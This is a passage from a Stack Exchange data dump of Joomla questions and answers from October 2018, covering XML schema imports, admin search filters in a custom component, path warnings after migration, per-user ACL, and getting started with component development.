&lt;code&gt;file_get_contents()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comprehensive snippet to help you and future researchers to diagnose issues with this type of task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$crumbs = [JPATH_ADMINISTRATOR, 'components', 'com_dtsms', 'lib', 'schema', 'schema.xml'];&#xA;$filename = implode(DIRECTORY_SEPARATOR, $crumbs);&#xA;if (!file_exists($filename)) {&#xA;    echo &quot;&amp;lt;div class='bg-danger'&amp;gt;Could not find schema.xml file @ \&quot;$filename\&quot;&amp;lt;/div&amp;gt;&quot;;&#xA;} elseif (($xml = file_get_contents($filename)) === false) {&#xA;    echo &quot;&amp;lt;div class='bg-danger'&amp;gt;Failed to read XML file&amp;lt;/div&amp;gt;&quot;;&#xA;} else {&#xA;    $xml .= &quot;\n &amp;lt;/database&amp;gt;\n&amp;lt;/mysqldump&amp;gt;&quot;;  // patch invalid xml&#xA;    libxml_use_internal_errors(true);&#xA;    $sxml = simplexml_load_string($xml);&#xA;    if ($sxml === false) {&#xA;        echo &quot;&amp;lt;div class='alert alert-error'&amp;gt;Invalid XML structure:&quot;;&#xA;        echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;        foreach(libxml_get_errors() as $i =&amp;gt; $error) {&#xA;            echo &quot;&amp;lt;li&amp;gt; {$error-&amp;gt;message}&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;        $dom = new DOMDocument;&#xA;        $dom-&amp;gt;preserveWhiteSpace = false;&#xA;        $dom-&amp;gt;loadXML($xml);&#xA;        $dom-&amp;gt;formatOutput = true;&#xA;        echo &quot;&amp;lt;div class='alert alert-info'&amp;gt;&quot;&#xA;            echo &quot;XML Content:&amp;lt;br&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;pre&amp;gt;&quot; , htmlspecialchars($xml) , &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        try {&#xA;            $db = JFactory::getDBO();&#xA;            $importer = new JDatabaseImporterMysqli();&#xA;            $importer-&amp;gt;setDbo($db);  // database tag in xml will not be used&#xA;            $importer-&amp;gt;from($xml);&#xA;            $importer-&amp;gt;mergeStructure();&#xA;            echo &quot;&amp;lt;div class='alert alert-success'&amp;gt;XML Data Successfully Merged&amp;lt;/div&amp;gt;&quot;;&#xA;        } catch (Exception $e) {&#xA;            // Never show exact error message when your application is live/public!&#xA;            echo &quot;&amp;lt;div class='alert alert-error'&amp;gt;&quot; , $e-&amp;gt;getMessage() , &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-10-09T05:09:02.613" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23555" PostTypeId="1" AcceptedAnswerId="23561" CreationDate="2018-10-09T06:51:36.533" Score="1" ViewCount="99" Body="&lt;p&gt;I am pretty new to Joomla &amp;amp; PHP so this is a broad question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client is looking for some custom reports for Admin login on data prepared by &lt;a href=&quot;https://www.solidres.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Solidres&lt;/a&gt; as that Solidres doesn't have those reports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being pretty new, I am not sure as how to proceed &amp;amp; start development? I am not able to find helpful tutorials on the topic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report format has to be - PDF, CSV and ODS &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report can only be viewed and printed &amp;amp; UI should give option to send report file in email too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a second category of report that needs to be generated automatically via cron job that user can view or download.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any link to tutorials , videos , books and guidelines are welcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just looking for high level steps and can work my way out, looking for just a bit of guidance. &lt;/p&gt;&#xA;" OwnerUserId="12943" LastActivityDate="2018-10-10T13:29:54.200" Title="Solidres Data Report for Joomla Admin" Tags="|joomla-3.x|php|php7|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23557" PostTypeId="1" AcceptedAnswerId="23576" CreationDate="2018-10-09T13:58:50.133" Score="1" ViewCount="503" Body="&lt;p&gt;I try to get some help from you to spot what I am doing wrong (what I am missing) on applying search tools and filters in the admin of Joomla 3.8 in my own component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pulling my hairs out since I cannot figure out why the search and the filters are not working for me, in other words, the search field is not responding, the search tools/hidden filter does not open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if I click on the clear filters/search button then it refreshes the page with cleared filters. Sorting of fields/columns are working. My only guess is that it is a Jquery/Javascript problem but I do not really know what. Please help me if you can. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are in the view/model called 'products', so my filters' xml:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;../models/forms/filter_products.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;search&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;COM_MOREPRODUCTINFO_SEARCH_IN_TITLE&quot;&#xA;            hint=&quot;JSEARCH_FILTER&quot;&#xA;            class=&quot;JSEARCH_FILTER&quot;&#xA;        /&amp;gt;&#xA;      &amp;lt;field&#xA;            name=&quot;availability&quot;&#xA;            type=&quot;list&quot;&#xA;            label=&quot;JOPTION_SELECT_AVAILABLE&quot;&#xA;            description=&quot;JOPTION_SELECT_AVAILABLE_DESC&quot;&#xA;            default=&quot;&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_VALUE&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Available&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;Unavailable&amp;lt;/option&amp;gt;&#xA;      &amp;lt;/field&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;  &amp;lt;fields name=&quot;list&quot;&amp;gt;&#xA;      &amp;lt;field&#xA;            name=&quot;fullordering&quot;&#xA;            type=&quot;list&quot;&#xA;            label=&quot;COM_MOREPRODUCTINFO_LIST_FULL_ORDERING&quot;&#xA;            description=&quot;COM_MOREPRODUCTINFO_LIST_FULL_ORDERING_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;            default=&quot;item_id ASC&quot;&#xA;      &amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;JGLOBAL_SORT_BY&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.item_id ASC&quot;&amp;gt;COM_MOREPRODUCTINFO_ID_ASC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.item_id DESC&quot;&amp;gt;COM_MOREPRODUCTINFO_ID_DESC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.product_name ASC&quot;&amp;gt;COM_MOREPRODUCTINFO_PNAME_ASC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.product_name DESC&quot;&amp;gt;COM_MOREPRODUCTINFO_PNAME_DESC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.availability ASC&quot;&amp;gt;COM_MOREPRODUCTINFO_AVAILABILITY_ASC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;a.availability DESC&quot;&amp;gt;COM_MOREPRODUCTINFO_AVAILABILITY_DESC&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field&#xA;            name=&quot;limit&quot;&#xA;            type=&quot;limitbox&quot;&#xA;            class=&quot;input-mini&quot;&#xA;            default=&quot;20&quot;&#xA;            label=&quot;COM_CONTENT_LIST_LIMIT&quot;&#xA;            description=&quot;COM_MOREPRODUCTINFO_LIST_LIMIT_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;    /&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;../models/products.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MoreproductinfoModelProducts extends ListModel&#xA;{&#xA;&#xA;/**&#xA; * Constructor.&#xA; *&#xA; * @param   array  $config  An optional associative array of configuration settings.&#xA; *&#xA; * @see     JController&#xA; * @since   1.6&#xA; */&#xA;public function __construct($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(&#xA;            'item_id', 'a.item_id',&#xA;            'product_name', 'a.product_name',&#xA;            'product_id', 'a.product_id',&#xA;            'variant_id', 'a.variant_id',                &#xA;            'product_sku', 'a.product_sku',&#xA;            'avalability', 'a.availability',                &#xA;        );&#xA;    }&#xA;&#xA;    JLoader::register('MoreproductinfoHelper', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/moreproductinfo.php');&#xA;&#xA;    parent::__construct($config);&#xA;}&#xA;&#xA;protected function populateState($ordering = 'a.item_id', $direction = 'asc')&#xA;{&#xA;    // Initialise variables.&#xA;    $app = JFactory::getApplication();        &#xA;&#xA;    $search = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.search', 'filter_search');&#xA;    $this-&amp;gt;setState('filter.search', $search);        &#xA;&#xA;    $availability = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.availability', 'filter_availability', '', 'string');&#xA;    $this-&amp;gt;setState('filter.availability', $availability);&#xA;&#xA;&#xA;    // List state information.&#xA;    parent::populateState($ordering, $direction);&#xA;&#xA;}&#xA;&#xA;function getListQuery()&#xA;{&#xA;    // Initialize variables.&#xA;    $db    = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $user  = JFactory::getUser();&#xA;&#xA;    // Select the required fields from the table.&#xA;    $query-&amp;gt;select(&#xA;        $this-&amp;gt;getState(&#xA;            'list.select',&#xA;            'a.item_id' .&#xA;            ', a.product_name, a.product_id, a.variant_id, a.variation_option_name, a.variation_image_param_url' .&#xA;            ', a.product_sku, a.availability, a.arrival_date, a.params, a.last_check')&#xA;    );&#xA;    $query-&amp;gt;from('#__moreproductinfo_items AS a');        &#xA;&#xA;    // Filter: product_name / search&#xA;    $search = $this-&amp;gt;getState('filter.search');        &#xA;&#xA;    if (!empty($search))&#xA;    {&#xA;        $search = $db-&amp;gt;quote('%' . str_replace(' ', '%', $db-&amp;gt;escape(trim($search), true) . '%'));&#xA;        // $like = $db-&amp;gt;quote('%' . $search . '%');&#xA;        $query-&amp;gt;where('a.product_name LIKE ' . $search);&#xA;    }&#xA;&#xA;    // Filter by availability state&#xA;    $available = $this-&amp;gt;getState('filter.availability');&#xA;    // $available = 0; -- debug - filter works if I define value here&#xA;&#xA;    if (is_numeric($available))&#xA;    {&#xA;        $query-&amp;gt;where('availability = ' . (int) $available);&#xA;    }&#xA;    elseif ($available === '')&#xA;    {&#xA;        $query-&amp;gt;where('(availability IN (0, 1))');&#xA;    }&#xA;&#xA;    // Add the list ordering clause.&#xA;    $orderCol   = $this-&amp;gt;getState('list.ordering', 'item_id');&#xA;    $orderDirn  = $this-&amp;gt;getState('list.direction', 'asc');&#xA;&#xA;    $query-&amp;gt;order($db-&amp;gt;escape($orderCol) . ' ' . $db-&amp;gt;escape($orderDirn));&#xA;&#xA;    return $query;&#xA;&#xA;}&#xA;&#xA;function getItems()&#xA;{&#xA;    $items = parent::getItems();&#xA;&#xA;    foreach ($items as $item) {&#xA;&#xA;        $item-&amp;gt;url = JRoute::_('index.php?option=com_moreproductinfo&amp;amp;task=product.edit&amp;amp;item_id=' . $item-&amp;gt;item_id);&#xA;&#xA;        $item-&amp;gt;img_url = JRoute::_(URI::root() . $item-&amp;gt;variation_image_param_url);&#xA;&#xA;    }&#xA;&#xA;    return $items;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the view.html file:&#xA;&lt;strong&gt;../views/products/view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;    {&#xA;&#xA;        // to call nessecary JS&#xA;        HTMLHelper::_('behavior.framework');  &#xA;&#xA;        // define state and pagination - from model&#xA;        // define items from model&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;state        = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');            &#xA;        $this-&amp;gt;filterForm       = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters    = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;        // Show the toolbar - set the toolbar&#xA;        $this-&amp;gt;toolbar();&#xA;&#xA;        // adding toolbars&#xA;        $this-&amp;gt;addToolbar();&#xA;&#xA;        // Show the sidebar&#xA;        $this-&amp;gt;helper = new MoreproductinfoHelper;            &#xA;        $this-&amp;gt;helper-&amp;gt;addSubmenu('products');&#xA;        $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&#xA;        // Display it all&#xA;        return parent::display($tpl);           &#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally the tmpl default layout:&#xA;&lt;strong&gt;../views/products/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;use \Joomla\CMS\language\Text;&#xA;use \Joomla\CMS\HTML\HTMLHelper;&#xA;use \Joomla\CMS\Layout\LayoutHelper;&#xA;&#xA;HTMLHelper::_('behavior.core');&#xA;HTMLHelper::_('bootstrap.tooltip');&#xA;HTMLHelper::_('behavior.multiselect');&#xA;HTMLHelper::_('formbehavior.chosen', 'select');&#xA;&#xA;$app       = JFactory::getApplication();&#xA;$user      = JFactory::getUser();&#xA;&#xA;$listOrder     = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listDirn      = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;j-sidebar-container&quot; class=&quot;span2&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;j-main-container&quot; class=&quot;span10&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;alert alert-dark&quot; role=&quot;alert&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo Text::_('COM_MOREPRODUCTINFO_PRODUCTS_LAST_REFRESHED') . $this-&amp;gt;date; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span10&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('COM_MOREPRODUCTINFO_PRODUCTS_FILTER'); ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        echo LayoutHelper::render(&#xA;            'joomla.searchtools.default',&#xA;            array('view' =&amp;gt; $this)&#xA;        );&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_moreproductinfo&amp;amp;view=products'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;table table-striped table-hover&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;...&#xA;&#xA;... // a lot of html and php which shows the items....&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;        &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-09T18:14:48.870" LastActivityDate="2018-10-11T12:49:34.010" Title="in Joomla 3.8 default search tools do not respond in my own component and cannot set and get state of the filters" Tags="|component|development|search|joomla3.8|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23558" PostTypeId="1" CreationDate="2018-10-09T16:49:24.377" Score="2" ViewCount="1135" Body="&lt;p&gt;After Joomla migration, I'm left with a few errors like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: include_once(menu.php): failed to open stream: No such file or directory in /www/doc/www.elody.cz/www/tmp/htmlpaUI9p on line 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: include_once(): Failed opening 'menu.php' for inclusion (include_path='.:/usr/share/php') in /www/doc/www.elody.cz/www/tmp/htmlpaUI9p on line 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;/tmp/&lt;/code&gt; folder is empty, the cache is empty and turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="7511" LastEditorUserId="12352" LastEditDate="2018-10-09T22:34:54.927" LastActivityDate="2018-10-10T01:41:00.343" Title="How to solve include_once() Warnings in tmp directory after migration?" Tags="|joomla-3.x|php|fatal-error|jerror|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23559" PostTypeId="2" ParentId="23558" CreationDate="2018-10-09T19:47:24.177" Score="2" Body="&lt;p&gt;These are not Errors, these are only Warnings (or is there also any error message connected to these particularly?). This warning usually happens when (due to ie. migration) a file path was changed and the ROOT or BASE path is different than it was before. in Joomla in 'Admin-&gt;Global configuration' if you set 'Error Reporting' to 'system default', then these warnings are not visible to your visitors (and otherwise the warnings do not cause problems in the site operations most of the times, however sometimes can cause fatal error too). Possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;After migration maybe in your &lt;strong&gt;configuration.php&lt;/strong&gt; file the &lt;strong&gt;live_site&lt;/strong&gt; variable is wrongly defined. You should check that and should be set to the correct value (usually an empty string ''). Also check the &lt;strong&gt;$tmp_path&lt;/strong&gt; variable's value in this same file. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the first is OK (and the file path warning is still there), then in your template's &lt;strong&gt;index.php&lt;/strong&gt; file you might want to add the following (at the top of the file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;baseurl = JPATH_BASE;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-09T20:24:23.467" LastActivityDate="2018-10-09T20:24:23.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23560" PostTypeId="2" ParentId="23558" CreationDate="2018-10-10T01:41:00.343" Score="2" Body="&lt;p&gt;It appears that you don't yet have your file path properly declared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll offer some instructions to correct your &lt;code&gt;tmp&lt;/code&gt; path, but you should execute the same technique to eliminate the other Warnings too.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you have access to your administrator backend:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to  &lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Server&lt;/strong&gt; (tab).&lt;br&gt;&#xA;The &lt;strong&gt;Path to Temp Folder&lt;/strong&gt; field should read something like &lt;code&gt;/home/htmlpaUI9p/public_html/temp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you don't yet have access to your administrator backend:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to your &lt;strong&gt;configuration.php&lt;/strong&gt; file which should be inside your &lt;strong&gt;htmlpaUI9p&lt;/strong&gt; directory.&lt;br&gt;&#xA;Change the line with &lt;code&gt;public $tmp_path&lt;/code&gt; to &lt;code&gt;public $tmp_path = '/home/htmlpaUI9p/public_html/tmp';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If this advice doesn't work as desired, please update your question with what occurs after the change and any other valuable details that will help us to help you.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-10-10T01:41:00.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23561" PostTypeId="2" ParentId="23555" CreationDate="2018-10-10T09:51:37.993" Score="3" Body="&lt;p&gt;So basically your question is: &lt;strong&gt;how to become a Joomla plugin/component developer?&lt;/strong&gt; - since you need a specific plugin/component which extends another Joomla component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have a quite nice background (13 years) in Java programming, now you have to learn of course PHP (which you can do quite easily), then you have to deeply study the Joomla CMS and maybe the Joomla Framework. From my experience, I can tell you that it's a great adventure, a lot of fun, but at the same time it's a huge headache too. I love PHP and Joomla but let's be honest. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My suggestions on how to start this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Study and do the steps of this article series (if you already have acceptable PHP knowledge): &#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(if you get stuck or cannot grasp the concept of what's going on then shift to the next steps and get back to this first 'course' later).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to improve your PHP knowledge then get a good book (or course) on PHP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Buy or get a book specifically on &lt;strong&gt;'Joomla programming'&lt;/strong&gt; (even if it is a bit outdated).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally it is very much recommended to also study the Joomla plugin development (it can be even before studying component development).&#xA;My favorite book about Joomla Plugins is written by Jisse Reitsma (I think the best book written about the subject of Jooomla - 2014): &lt;a href=&quot;https://www.yireo.com/books/programming-joomla-plugins-book/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yireo.com/books/programming-joomla-plugins-book/downloads&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(if the above process takes too long, then it is better to hire a Joomla developer to do the required job.)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-10T13:29:54.200" LastActivityDate="2018-10-10T13:29:54.200" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23563" PostTypeId="2" ParentId="22211" CreationDate="2018-10-10T15:33:34.283" Score="0" Body="&lt;p&gt;There was restrictions from the hosting provider because the mail server was in house... so I fixed the thing with plugin called Domain redirect. Its only job is to open the site on the desired domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing to remember is that editing the stuff must be done only on the first domain.&lt;/p&gt;&#xA;" OwnerUserId="12087" LastActivityDate="2018-10-10T15:33:34.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23564" PostTypeId="1" CreationDate="2018-10-10T15:51:56.257" Score="1" ViewCount="115" Body="&lt;p&gt;I was wondering if it was possible in Joomla! 3.x to have permissions down to individual user level.&lt;/p&gt;&#xA;&lt;p&gt;Eg:&#xA;user A &lt;strong&gt;can see&lt;/strong&gt; item X but &lt;strong&gt;not&lt;/strong&gt; user B &lt;strong&gt;even if&lt;/strong&gt; user B is in the &lt;strong&gt;same group&lt;/strong&gt; or have the &lt;strong&gt;same access&lt;/strong&gt; level.&lt;/p&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;p&gt;user A &lt;strong&gt;can do something&lt;/strong&gt; on item X but &lt;strong&gt;not&lt;/strong&gt; user B &lt;strong&gt;even if&lt;/strong&gt; user B is in the &lt;strong&gt;same group&lt;/strong&gt; or have the &lt;strong&gt;same access level&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In essence, I am asking if there is a way to separate ACL down to individual user via some kind of programming in php in Joomla! 3.x&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="9588" LastEditDate="2021-04-06T08:04:23.580" LastActivityDate="2023-12-22T14:02:00.230" Title="Individual user fine grained ACL is it possible in Joomla! 3.x" Tags="|joomla-3.x|php|user|acl|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23565" PostTypeId="2" ParentId="23564" CreationDate="2018-10-10T17:01:42.993" Score="0" Body="&lt;p&gt;Without 3rd party extensions, it can't be done in Joomla as long as the 2 users belong to the same group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it can be done with 3rd part extensions or some php programming.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-10-10T17:01:42.993" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23568" PostTypeId="2" ParentId="21979" CreationDate="2018-10-10T20:23:53.133" Score="2" Body="&lt;p&gt;Duplicating untranslated articles is a good option.&lt;br/&gt;&#xA;Also, you can set the language of untranslated articles to &quot;All&quot;, until you have a translation, then set the correct language for each translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br/&gt;&#xA;After Joomla 3.9 has been released, duplication can be done using the Propagate button which has been added according to the &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/21321&quot; rel=&quot;nofollow noreferrer&quot;&gt;pull request for Issue #21250&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="8051" LastEditDate="2018-10-31T16:15:38.050" LastActivityDate="2018-10-31T16:15:38.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23569" PostTypeId="2" ParentId="23564" CreationDate="2018-10-10T21:40:34.243" Score="0" Body="&lt;p&gt;you can not do that directly. but will need a 3rd party solution. I have some suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you can use a subscription extension and put each user in a&#xA;different subscription plan and mange permission with plans instead&#xA;of groups.&lt;/li&gt;&#xA;&lt;li&gt;you can write an extension that can handle different permissions to assign them to users and a plugin which will do what you entered in this component.&lt;/li&gt;&#xA;&lt;li&gt;and there is a difficult solution , to make a group for each user!! and manage things through normal permissions manager.&lt;/li&gt;&#xA;&lt;li&gt;there is an extension called &quot;Acl manager&quot; do some of what you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12950" LastActivityDate="2018-10-10T21:40:34.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23570" PostTypeId="2" ParentId="21353" CreationDate="2018-10-11T01:08:45.003" Score="0" Body="&lt;p&gt;There is a free plugin that significantly improves Protostar display and functions  without editing the core files or losing the changes when Joomla updates. In fact a user can create many custom css themes and display templates and select them from an auto detect list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also developer friendly so installable themes can be distributed. Additional form fields can be added to the template parameters as desired, just by adding a custom file with unique name as theme_name.xml and output the values via a custom file named theme_name.php. The package is then installed normally via Joomla's extension installer. It's great for creativity and expand-ability. It makes possible to do with Protostar, all that the commercial templates do.&#xA;  &lt;a href=&quot;http://protostar.websitedons.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://protostar.websitedons.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2018-10-11T01:08:45.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
